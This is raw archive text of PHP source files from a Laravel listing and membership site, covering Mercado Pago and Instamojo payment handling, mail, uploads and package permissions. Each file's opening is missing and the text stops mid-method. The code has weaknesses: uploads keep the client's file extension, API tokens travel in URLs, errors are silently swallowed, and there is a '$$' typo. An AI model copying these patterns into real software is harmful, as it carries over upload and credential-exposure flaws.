PK(\&&2Http/Controllers/Payment/MercadopagoController.phpnu[first(); $paydata = $data->convertAutoData(); $this->access_token = $paydata['token']; $this->sandbox = $paydata['sandbox_status']; } public function paymentProcess(Request $request, $_amount, $_success_url, $_cancel_url, $email, $_title, $_description, $bex) { $return_url = $_success_url; $cancel_url = $_cancel_url; $notify_url = $_success_url; $curl = curl_init(); $preferenceData = [ 'items' => [ [ 'id' => uniqid("mercadopago-"), 'title' => $_title, 'description' => $_description, 'quantity' => 1, 'currency_id' => "BRL", //unfortunately mercadopago only support BRL currency 'unit_price' => round($_amount, 2), ] ], 'payer' => [ 'email' => $email, ], 'back_urls' => [ 'success' => $return_url, 'pending' => '', 'failure' => $cancel_url, ], 'notification_url' => $notify_url, 'auto_return' => 'approved', ]; $httpHeader = [ "Content-Type: application/json", ]; $url = "https://api.mercadopago.com/checkout/preferences?access_token=" . $this->access_token; $opts = [ CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode($preferenceData, true), CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_HTTPHEADER => $httpHeader ]; curl_setopt_array($curl, $opts); $response = curl_exec($curl); $payment = json_decode($response, true); $err = curl_error($curl); curl_close($curl); Session::put('request', $request->all()); Session::put('success_url', $_success_url); Session::put('cancel_url', $_cancel_url); if ($this->sandbox == 1) { return redirect($payment['sandbox_init_point']); } else { return redirect($payment['init_point']); } } public function curlCalls($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $paymentData = curl_exec($ch); curl_close($ch); return $paymentData; } public function paycancle() { return redirect()->back()->with('error', 'Payment Cancelled.'); } public function payreturn() { if (Session::has('tempcart')) { $oldCart = Session::get('tempcart'); $tempcart = new Cart($oldCart); $order = Session::get('temporder'); } else { $tempcart = ''; return redirect()->back(); } return view('front.success', compact('tempcart', 'order')); } public function successPayment(Request $request) { $requestData = Session::get('request'); $bs = Basic::first(); $success_url = Session::get('success_url'); $cancel_url = Session::get('cancel_url'); $paymentUrl = "https://api.mercadopago.com/v1/payments/" . $request['payment_id'] . "?access_token=" . $this->access_token; $paymentData = $this->curlCalls($paymentUrl); $payment = json_decode($paymentData, true); if ($payment['status'] == 'approved') { $paymentFor = Session::get('paymentFor'); $package = Package::find($requestData['package_id']); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = json_encode($payment); if ($paymentFor == "membership") { $amount = $requestData['price']; $password = $requestData['password']; $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "membership", $vendor, $password, $amount, "Mercado Pago", $requestData['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $requestData['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "extend", $vendor, $password, $amount, $requestData["payment_method"], $vendor->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', __('successful_payment')); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } return redirect($cancel_url); } public function cancelPayment() { $requestData = Session::get('request'); $paymentFor = Session::get('paymentFor'); session()->flash('warning', __('cancel_payment')); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } } PK(\!!&Http/Controllers/CronJobController.phpnu[subDays(1))->get(); foreach ($expired_members as $key => $expired_member) { if (!empty($expired_member->vendor)) { $vendor = $expired_member->vendor; $current_package = VendorPermissionHelper::userPackage($vendor->id); if (is_null($current_package)) { SubscriptionExpiredMail::dispatch($vendor, $bs); } } } $remind_members = Membership::whereDate('expire_date', Carbon::now()->addDays($bs->expiration_reminder))->get(); foreach ($remind_members as $key => $remind_member) { if (!empty($remind_member->vendor)) { $vendor = $remind_member->vendor; $nextPacakgeCount = Membership::where([ ['vendor_id', $vendor->id], ['start_date', '>', Carbon::now()->toDateString()] ])->where('status', '<>', 2)->count(); if ($nextPacakgeCount == 0) { SubscriptionReminderMail::dispatch($vendor, $bs, $remind_member->expire_date); } } \Artisan::call("queue:work --stop-when-empty"); } } catch (\Exception $e) { } } } PK(\xY Http/Kernel.phpnu[ [ \App\Http\Middleware\EncryptCookies::class, \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, \Illuminate\Session\Middleware\StartSession::class, \Illuminate\View\Middleware\ShareErrorsFromSession::class, \App\Http\Middleware\VerifyCsrfToken::class, \Illuminate\Routing\Middleware\SubstituteBindings::class, ], 'api' => [ 'throttle:api', \Illuminate\Routing\Middleware\SubstituteBindings::class, ], ]; /** * The application's route middleware. * * These middleware may be assigned to groups or used individually. * * @var array */ protected $routeMiddleware = [ 'auth' => \App\Http\Middleware\Authenticate::class, 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, 'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class, 'can' => \Illuminate\Auth\Middleware\Authorize::class, 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class, 'signed' => \Illuminate\Routing\Middleware\ValidateSignature::class, 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, 'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class, 'change.lang' => \App\Http\Middleware\ChangeLanguage::class, 'exists.down' => \App\Http\Middleware\RedirectIfDownFileExists::class, 'account.status' => \App\Http\Middleware\PreventRequestsForDeactivatedAccount::class, 'permission' => \App\Http\Middleware\HasPermission::class, 'certificate.status' => \App\Http\Middleware\EnsureCertificateIsEnable::class, 'Deactive' => \App\Http\Middleware\Deactive::class, 'email.verify' => \App\Http\Middleware\emailVerified::class, 'shop.status'=> \App\Http\Middleware\ShopStatusCheck::class, 'packageLimitsCheck' => \App\Http\Middleware\CheckPackageLimits::class, 'Demo' => \App\Http\Middleware\Demo::class, ]; } PK(\[c,c,Http/Helpers/Instamojo.phpnu[api_key = (string) $api_key; $this->auth_token = (string) $auth_token; if (!is_null($endpoint)) { $this->endpoint = (string) $endpoint; } } public function __destruct() { if (!is_null($this->curl)) { curl_close($this->curl); } } /** * @return array headers with Authentication tokens added */ private function build_curl_headers() { $headers = array("X-Api-key: $this->api_key"); if ($this->auth_token) { $headers[] = "X-Auth-Token: $this->auth_token"; } return $headers; } /** * @param string $path * @return string adds the path to endpoint with. */ private function build_api_call_url($path) { if (strpos($path, '/?') === false and strpos($path, '?') === false) { return $this->endpoint . $path . '/'; } return $this->endpoint . $path; } private function getParamsArray($limit, $page) { $params = array(); if (!is_null($limit)) { $params['limit'] = $limit; } if (!is_null($page)) { $params['page'] = $page; } return $params; } /** * @param string $method ('GET', 'POST', 'DELETE', 'PATCH') * @param string $path whichever API path you want to target. * @param array $data contains the POST data to be sent to the API. * @return array decoded json returned by API. */ private function api_call($method, $path, array $data = null) { $path = (string) $path; $method = (string) $method; $data = (array) $data; $headers = $this->build_curl_headers(); $request_url = $this->build_api_call_url($path); $options = array(); $options[CURLOPT_HTTPHEADER] = $headers; $options[CURLOPT_RETURNTRANSFER] = true; if ($method == 'POST') { $options[CURLOPT_POST] = 1; $options[CURLOPT_POSTFIELDS] = http_build_query($data); } else if ($method == 'DELETE') { $options[CURLOPT_CUSTOMREQUEST] = 'DELETE'; } else if ($method == 'PATCH') { $options[CURLOPT_POST] = 1; $options[CURLOPT_POSTFIELDS] = http_build_query($data); $options[CURLOPT_CUSTOMREQUEST] = 'PATCH'; } else if ($method == 'GET' or $method == 'HEAD') { if (!empty($data)) { /* Update URL to container Query String of Paramaters */ $request_url .= '?' . http_build_query($data); } } $options[CURLOPT_URL] = $request_url; $options[CURLOPT_SSL_VERIFYPEER] = true; $options[CURLOPT_CAINFO] = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cacert.pem'; $this->curl = curl_init(); $setopt = curl_setopt_array($this->curl, $options); $response = curl_exec($this->curl); $headers = curl_getinfo($this->curl); $error_number = curl_errno($this->curl); $error_message = curl_error($this->curl); $response_obj = json_decode($response, true); if ($error_number != 0) { if ($error_number == 60) { throw new \Exception("Something went wrong. cURL raised an error with number: $error_number and message: $error_message. " . "Please check http://stackoverflow.com/a/21114601/846892 for a fix." . PHP_EOL); } else { throw new \Exception("Something went wrong. cURL raised an error with number: $error_number and message: $error_message." . PHP_EOL); } } if ($response_obj['success'] == false) { $message = json_encode($response_obj['message']); throw new \Exception($message . PHP_EOL); } return $response_obj; } /** * @return string URL to upload file or cover image asynchronously */ public function getUploadUrl() { $result = $this->api_call('GET', 'links/get_file_upload_url', array()); return $result['upload_url']; } /** * @param string $file_path * @return string JSON returned when the file upload is complete. */ public function uploadFile($file_path) { $upload_url = $this->getUploadUrl(); $file_path = realpath($file_path); $file_name = basename($file_path); $ch = curl_init(); $data = array('fileUpload' => $this->getCurlValue($file_path, $file_name)); curl_setopt($ch, CURLOPT_URL, $upload_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); return curl_exec($ch); } public function getCurlValue($file_path, $file_name, $content_type = '') { // http://stackoverflow.com/a/21048702/846892 // PHP 5.5 introduced a CurlFile object that deprecates the old @filename syntax // See: https://wiki.php.net/rfc/curl-file-upload if (function_exists('curl_file_create')) { return curl_file_create($file_path, $content_type, $file_name); } // Use the old style if using an older version of PHP $value = "@{$file_path};filename=$file_name"; if ($content_type) { $value .= ';type=' . $content_type; } return $value; } /** * Uploads any file or cover image mentioned in $link and * updates it with the json required by the API. * @param array $link * @return array $link updated with uploaded file information if applicable. */ public function uploadMagic(array $link) { if (!empty($link['file_upload'])) { $file_upload_json = $this->uploadFile($link['file_upload']); $link['file_upload_json'] = $file_upload_json; unset($link['file_upload']); } if (!empty($link['cover_image'])) { $cover_image_json = $this->uploadFile($link['cover_image']); $link['cover_image_json'] = $cover_image_json; unset($link['cover_image']); } return $link; } /** * Authenticate using username and password of a user. * Automatically updates the auth_token value. * @param array $args contains username=>USERNAME and password=PASSWORD * @return array AuthToken object. */ public function auth(array $args) { $response = $this->api_call('POST', 'auth', $args); $this->auth_token = $response['auth_token']['auth_token']; return $this->auth_token; } /** * @return array list of Link objects. */ public function linksList($limit, $path) { $response = $this->api_call('GET', 'links', $this->getParamsArray($limit, $path)); return $response['links']; } /** * @return array single Link object. */ public function linkDetail($slug) { $response = $this->api_call('GET', 'links/' . $slug, array()); return $response['link']; } /** * @return array single Link object. */ public function linkCreate(array $link) { if (empty($link['currency'])) { $link['currency'] = 'INR'; } $link = $this->uploadMagic($link); $response = $this->api_call('POST', 'links', $link); return $response['link']; } /** * @return array single Link object. */ public function linkEdit($slug, array $link) { $link = $this->uploadMagic($link); $response = $this->api_call('PATCH', 'links/' . $slug, $link); return $response['link']; } /** * @return array single Link object. */ public function linkDelete($slug) { $response = $this->api_call('DELETE', 'links/' . $slug, array()); return $response; } /** * @return array list of Payment objects. */ public function paymentsList($limit = null, $page = null) { $response = $this->api_call('GET', 'payments', $this->getParamsArray($limit, $page)); return $response['payments']; } /** * @param string payment_id as provided by paymentsList() or Instamojo's webhook or redirect functions. * @return array single Payment object. */ public function paymentDetail($payment_id) { $response = $this->api_call('GET', 'payments/' . $payment_id, array()); return $response['payment']; } ///// Request a Payment ///// /** * @param array single PaymentRequest object. * @return array single PaymentRequest object. */ public function paymentRequestCreate(array $payment_request) { $response = $this->api_call('POST', 'payment-requests', $payment_request); return $response['payment_request']; } /** * @param string id as provided by paymentRequestCreate, paymentRequestsList, webhook or redirect. * @return array single PaymentRequest object. */ public function paymentRequestStatus($id) { $response = $this->api_call('GET', 'payment-requests/' . $id, array()); return $response['payment_request']; } /** * @param string id as provided by paymentRequestCreate, paymentRequestsList, webhook or redirect. * @param string payment_id as received with the redirection URL or webhook. * @return array single PaymentRequest object. */ public function paymentRequestPaymentStatus($id, $payment_id) { $response = $this->api_call('GET', 'payment-requests/' . $id . '/' . $payment_id, array()); return $response['payment_request']; } /** * @param array datetime_limits containing datetime data with keys 'max_created_at', 'min_created_at', * 'min_modified_at' and 'max_modified_at' in ISO 8601 format(optional). * @return array containing list of PaymentRequest objects. * For more information on the allowed date formats check the * docs: https://www.instamojo.com/developers/request-a-payment-api/#toc-filtering-payment-requests */ public function paymentRequestsList($limit = null, $page = null, $max_created_at = null, $min_created_at = null, $max_modified_at = null, $min_modified_at = null) { $endpoint = 'payment-requests'; $params = array(); if (!is_null($max_created_at)) { $params['max_created_at'] = $max_created_at; } if (!is_null($min_created_at)) { $params['min_created_at'] = $min_created_at; } if (!is_null($min_modified_at)) { $params['min_modified_at'] = $min_modified_at; } if (!is_null($$max_modified_at)) { $params['max_modified_at'] = $max_modified_at; } $response = $this->api_call('GET', 'payment-requests', array_merge($params, $this->getParamsArray($limit, $page))); return $response['payment_requests']; } ///// Refunds ///// /** * @param array single Refund object. * @return array single Refund object. */ public function refundCreate(array $refund) { $response = $this->api_call('POST', 'refunds', $refund); return $response['refund']; } /** * @param string id as provided by refundCreate or refundsList. * @return array single Refund object. */ public function refundDetail($id) { $response = $this->api_call('GET', 'refunds/' . $id, array()); return $response['refund']; } /** * @return array containing list of Refund objects. */ public function refundsList($limit, $path) { $response = $this->api_call('GET', 'refunds', $this->getParamsArray($limit, $path)); return $response['refunds']; } } PK(\g';>;>Http/Helpers/Helper.phpnu[environmentFilePath(); $str = file_get_contents($envFile); if (count($values) > 0) { foreach ($values as $envKey => $envValue) { $keyPosition = strpos($str, "{$envKey}="); $endOfLinePosition = strpos($str, "\n", $keyPosition); $oldLine = substr($str, $keyPosition, $endOfLinePosition - $keyPosition); // If key does not exist, add it if (!$keyPosition || !$endOfLinePosition || !$oldLine) { $str .= "{$envKey}={$envValue}\n"; } else { $str = str_replace($oldLine, "{$envKey}={$envValue}", $str); } } } if (!file_put_contents($envFile, $str)) return false; return true; } } if (!function_exists('showAd')) { function showAd($resolutionType) { $ad = Advertisement::where('resolution_type', $resolutionType)->inRandomOrder()->first(); $adsenseInfo = Basic::query()->select('google_adsense_publisher_id')->first(); if (!is_null($ad)) { if ($resolutionType == 1) { $maxWidth = '300px'; $maxHeight = '250px'; } else if ($resolutionType == 2) { $maxWidth = '300px'; $maxHeight = '600px'; } else { $maxWidth = '728px'; $maxHeight = '90px'; } if ($ad->ad_type == 'banner') { $markUp = ' advertisement '; return $markUp; } else { $markUp = ' '; return $markUp; } } else { return; } } } if (!function_exists('onlyDigitalItemsInCart')) { function onlyDigitalItemsInCart() { $cart = session()->get('productCart'); if (!empty($cart)) { foreach ($cart as $key => $cartItem) { if ($cartItem['type'] != 'digital') { return false; } } } return true; } } if (!function_exists('onlyDigitalItems')) { function onlyDigitalItems($order) { $oitems = $order->orderitems; foreach ($oitems as $key => $oitem) { if ($oitem->item->type != 'digital') { return false; } } return true; } } if (!function_exists('get_href')) { function get_href($data) { $link_href = ''; if ($data->type == 'home') { $link_href = route('index'); } else if ($data->type == 'listings') { $link_href = route('frontend.listings'); } else if ($data->type == 'pricing') { $link_href = route('frontend.pricing'); } else if ($data->type == 'vendors') { $link_href = route('frontend.vendors'); } else if ($data->type == 'shop') { $link_href = route('shop.products'); } else if ($data->type == 'cart') { $link_href = route('shop.cart'); } else if ($data->type == 'checkout') { $link_href = route('shop.checkout'); } else if ($data->type == 'blog') { $link_href = route('blog'); } else if ($data->type == 'faq') { $link_href = route('faq'); } else if ($data->type == 'contact') { $link_href = route('contact'); } else if ($data->type == 'about-us') { $link_href = route('about_us'); } else if ($data->type == 'custom') { /** * this menu has created using menu-builder from the admin panel. * this menu will be used as drop-down or to link any outside url to this system. */ if ($data->href == '') { $link_href = '#'; } else { $link_href = $data->href; } } else { // this menu is for the custom page which has been created from the admin panel. $link_href = route('dynamic_page', ['slug' => $data->type]); } return $link_href; } } if (!function_exists('format_price')) { function format_price($value): string { if (session()->has('lang')) { $currentLang = Language::where('code', session() ->get('lang')) ->first(); } else { $currentLang = Language::where('is_default', 1) ->first(); } $bs = Basic::first(); if ($bs->base_currency_symbol_position == 'left') { return $bs->base_currency_symbol . $value; } else { return $value . $bs->base_currency_symbol; } } } if (!function_exists('symbolPrice')) { function symbolPrice($price) { $basic = Basic::where('uniqid', 12345)->select('base_currency_symbol_position', 'base_currency_symbol')->first(); if ($basic->base_currency_symbol_position == 'left') { $data = $basic->base_currency_symbol . round($price, 2); return str_replace(' ', '', $data); } elseif ($basic->base_currency_symbol_position == 'right') { $data = round($price, 2) . $basic->base_currency_symbol; return str_replace(' ', '', $data); } } } if (!function_exists('checkWishList')) { function checkWishList($listing_id, $user_id) { $check = App\Models\Car\Wishlist::where('listing_id', $listing_id) ->where('user_id', $user_id) ->first(); if ($check) { return true; } else { return false; } } } if (!function_exists('vendorTotalAddedListing')) { function vendorTotalAddedListing($vendor_id) { $total = Listing::where('vendor_id', $vendor_id)->get()->count(); return $total; } } if (!function_exists('TotalProductPerListing')) { function TotalProductPerListing($listing_id) { $total = ListingProduct::where('listing_id', $listing_id)->get()->count(); return $total; } } if (!function_exists('packageTotalAdditionalSpecification')) { function packageTotalAdditionalSpecification($vendor_id) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); $additionalFeatureLimit = $current_package->number_of_additional_specification; return $additionalFeatureLimit; } } if (!function_exists('packageTotalAminities')) { function packageTotalAminities($vendor_id) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); $aminitiesLimit = $current_package->number_of_amenities_per_listing; return $aminitiesLimit; } } if (!function_exists('vendorTotalListing')) { function vendorTotalListing($vendorId) { $vendorTotalListing = Listing::where('vendor_id', $vendorId)->count(); return $vendorTotalListing; } } if (!function_exists('packageTotalSocialLink')) { function packageTotalSocialLink($vendor_id) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); $SocialLinkLimit = $current_package->number_of_social_links; return $SocialLinkLimit; } } if (!function_exists('packageTotalFaqs')) { function packageTotalFaqs($listing_id) { $vendor_id = Listing::where('id', $listing_id)->pluck('vendor_id')->first(); if ($vendor_id != 0) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); $faqLimit = $current_package->number_of_faq; } else { $faqLimit = 999999; } return $faqLimit; } } if (!function_exists('currentPackageFeatures')) { function currentPackageFeatures($vendor_id) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); $Features = $current_package->features; return $Features; } } if (!function_exists('productPermission')) { function productPermission($listing_id) { $vendor_id = Listing::where('id', $listing_id)->pluck('vendor_id')->first(); if ($vendor_id != 0) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); if ($current_package != '[]') { $permissions = $current_package->features; $permissions = json_decode($permissions, true); } else { return false; } if (is_array($permissions) && in_array('Products', $permissions)) { return true; } else { return false; } } else { return true; } } } if (!function_exists('listingMessagePermission')) { function listingMessagePermission($vendor_id) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); if ($current_package != '[]') { $permissions = $current_package->features; $permissions = json_decode($permissions, true); } else { return false; } if (is_array($permissions) && in_array('Listing Enquiry Form', $permissions)) { return true; } else { return false; } } } if (!function_exists('productMessagePermission')) { function productMessagePermission($vendor_id) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); if ($current_package != '[]') { $permissions = $current_package->features; $permissions = json_decode($permissions, true); } else { return false; } if (is_array($permissions) && in_array('Products', $permissions)) { if (is_array($permissions) && in_array('Product Enquiry Form', $permissions)) { return true; } else { return false; } } else { return false; } } } if (!function_exists('additionalSpecificationsPermission')) { function additionalSpecificationsPermission($listing_id) { $vendor_id = Listing::where('id', $listing_id)->pluck('vendor_id')->first(); if ($vendor_id != 0) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); if ($current_package != '[]') { $permissions = $current_package->features; $permissions = json_decode($permissions, true); } else { return false; } if (is_array($permissions) && in_array('Feature', $permissions)) { return true; } else { return false; } } else { return true; } } } if (!function_exists('socialLinksPermission')) { function socialLinksPermission($listing_id) { $vendor_id = Listing::where('id', $listing_id)->pluck('vendor_id')->first(); if ($vendor_id != 0) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); if ($current_package != '[]') { $permissions = $current_package->features; $permissions = json_decode($permissions, true); } else { return false; } if (is_array($permissions) && in_array('Social Links', $permissions)) { return true; } else { return false; } } else { return true; } } } if (!function_exists('faqPermission')) { function faqPermission($listing_id) { $vendor_id = Listing::where('id', $listing_id)->pluck('vendor_id')->first(); if ($vendor_id != 0) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); if ($current_package != '[]') { $permissions = $current_package->features; $permissions = json_decode($permissions, true); } else { return false; } if (is_array($permissions) && in_array('FAQ', $permissions)) { return true; } else { return false; } } else { return true; } } } if (!function_exists('businessHoursPermission')) { function businessHoursPermission($listing_id) { $vendor_id = Listing::where('id', $listing_id)->pluck('vendor_id')->first(); if ($vendor_id != 0) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); if ($current_package != '[]') { $permissions = $current_package->features; $permissions = json_decode($permissions, true); } else { return false; } if (is_array($permissions) && in_array('Business Hours', $permissions)) { return true; } else { return false; } } else { return true; } } } if (!function_exists('packageTotalProducts')) { function packageTotalProducts($listing_id) { $vendor_id = Listing::where('id', $listing_id)->pluck('vendor_id')->first(); $current_package = VendorPermissionHelper::packagePermission($vendor_id); $productCanAdd = $current_package->number_of_products; return $productCanAdd; } } if (!function_exists('packageTotalListing')) { function packageTotalListing($vendor_id) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); $listingCanAdd = $current_package->number_of_listing; return $listingCanAdd; } } if (!function_exists('packageTotalProductImage')) { function packageTotalProductImage($listing_id) { $vendor_id = Listing::where('id', $listing_id)->pluck('vendor_id')->first(); if ($vendor_id != 0) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); $productImageLimit = $current_package->number_of_images_per_products; } else { $productImageLimit = 99999999; } return $productImageLimit; } } if (!function_exists('packageTotalListingImage')) { function packageTotalListingImage($vendor_id) { $current_package = VendorPermissionHelper::packagePermission($vendor_id); $listingImageLimit = $current_package->number_of_images_per_listing; return $listingImageLimit; } } if (!function_exists('StoreTransaction')) { function StoreTransaction($data) { App\Models\Transcation::create($data); } } if (!function_exists('convertUtf8')) { function convertUtf8($value) { return mb_detect_encoding($value, mb_detect_order(), true) === 'UTF-8' ? $value : mb_convert_encoding($value, 'UTF-8'); } } if (!function_exists('totalListingReview')) { function totalListingReview($listing_id) { $totalReview = ListingReview::Where('listing_id', $listing_id)->count(); return $totalReview; } } PK(\;Http/Helpers/BasicMailer.phpnu[first(); // if smtp status == 1, then set some value for PHPMailer if ($info->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $info->smtp_host, 'port' => $info->smtp_port, 'encryption' => $info->encryption, 'username' => $info->smtp_username, 'password' => $info->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } if ($info->smtp_status == 1) { try { Mail::send([], [], function (Message $message) use ($data, $info) { $fromMail = $info->from_mail; $fromName = $info->from_name; $message->to($data['recipient']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); if (array_key_exists('invoice', $data)) { $message->attach($data['invoice'], [ 'as' => 'Invoice', 'mime' => 'application/pdf', ]); } }); if (array_key_exists('sessionMessage', $data)) { Session::flash('success', $data['sessionMessage']); } } catch (\Exception $e) { Session::flash('warning', 'Mail could not be sent. Mailer Error: ' . $e); } } return; } } PK(\=rrHttp/Helpers/UploadFile.phpnu[getClientOriginalExtension(); $fileName = uniqid() . '.' . $extension; @mkdir($directory, 0775, true); $file->move($directory, $fileName); return $fileName; } public static function update($directory, $newFile, $oldFile) { @unlink($directory . $oldFile); $extension = $newFile->getClientOriginalExtension(); $fileName = uniqid() . '.' . $extension; @mkdir($directory, 0775, true); $newFile->move($directory, $fileName); return $fileName; } } PK(\VS8fEfE'Http/Helpers/VendorPermissionHelper.phpnu[timezone); $currentPackage = Membership::query()->where([ ['vendor_id', '=', $vendor_id], ['status', '=', 1], ['start_date', '<=', Carbon::now()->format('Y-m-d')], ['expire_date', '>=', Carbon::now()->format('Y-m-d')] ])->first(); $package = isset($currentPackage) ? Package::query()->find($currentPackage->package_id) : null; return $package ? $package : collect([]); } public static function uniqidReal($lenght = 13) { $bs = Basic::first(); // uniqid gives 13 chars, but you could adjust it to your needs. if (function_exists("random_bytes")) { $bytes = random_bytes(ceil($lenght / 2)); } elseif (function_exists("openssl_random_pseudo_bytes")) { $bytes = openssl_random_pseudo_bytes(ceil($lenght / 2)); } else { throw new Exception("no cryptographically secure random function available"); } return substr(bin2hex($bytes), 0, $lenght); } public static function currentPackagePermission(int $userId) { $bs = Basic::first(); Config::set('app.timezone', $bs->timezone); $currentPackage = Membership::query()->where([ ['vendor_id', '=', $userId], ['status', '=', 1], ['start_date', '<=', Carbon::now()->format('Y-m-d')], ['expire_date', '>=', Carbon::now()->format('Y-m-d')] ])->first(); return isset($currentPackage) ? Package::query()->findOrFail($currentPackage->package_id) : null; } public static function userPackage(int $userId) { $bs = Basic::first(); Config::set('app.timezone', $bs->timezone); return Membership::query()->where([ ['vendor_id', '=', $userId], ['status', '=', 1], ['start_date', '<=', Carbon::now()->format('Y-m-d')], ['expire_date', '>=', Carbon::now()->format('Y-m-d')] ])->first(); } public static function currPackageOrPending($userId) { $currentPackage = Self::currentPackagePermission($userId); if (!$currentPackage) { $currentPackage = Membership::query()->where([ ['vendor_id', '=', $userId], ['status', 0] ])->whereYear('start_date', '<>', '9999')->orderBy('id', 'DESC')->first(); $currentPackage = isset($currentPackage) ? Package::query()->findOrFail($currentPackage->package_id) : null; } return isset($currentPackage) ? $currentPackage : null; } public static function currMembOrPending($userId) { $currMemb = Self::userPackage($userId); if (!$currMemb) { $currMemb = Membership::query()->where([ ['vendor_id', '=', $userId], ['status', 0], ])->whereYear('start_date', '<>', '9999')->orderBy('id', 'DESC')->first(); } return isset($currMemb) ? $currMemb : null; } public static function hasPendingMembership($userId) { $count = Membership::query()->where([ ['vendor_id', '=', $userId], ['status', 0] ])->whereYear('start_date', '<>', '9999')->count(); return $count > 0 ? true : false; } public static function nextPackage(int $userId) { $bs = Basic::first(); Config::set('app.timezone', $bs->timezone); $currMemb = Membership::query()->where([ ['vendor_id', $userId], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ])->where('status', '<>', 2)->whereYear('start_date', '<>', '9999'); $nextPackage = null; if ($currMemb->first()) { $countCurrMem = $currMemb->count(); if ($countCurrMem > 1) { $nextMemb = $currMemb->orderBy('id', 'DESC')->first(); } else { $nextMemb = Membership::query()->where([ ['vendor_id', $userId], ['start_date', '>', $currMemb->first()->expire_date] ])->whereYear('start_date', '<>', '9999')->where('status', '<>', 2)->first(); } $nextPackage = $nextMemb ? Package::query()->where('id', $nextMemb->package_id)->first() : null; } return $nextPackage; } public static function nextMembership(int $userId) { $bs = Basic::first(); Config::set('app.timezone', $bs->timezone); $currMemb = 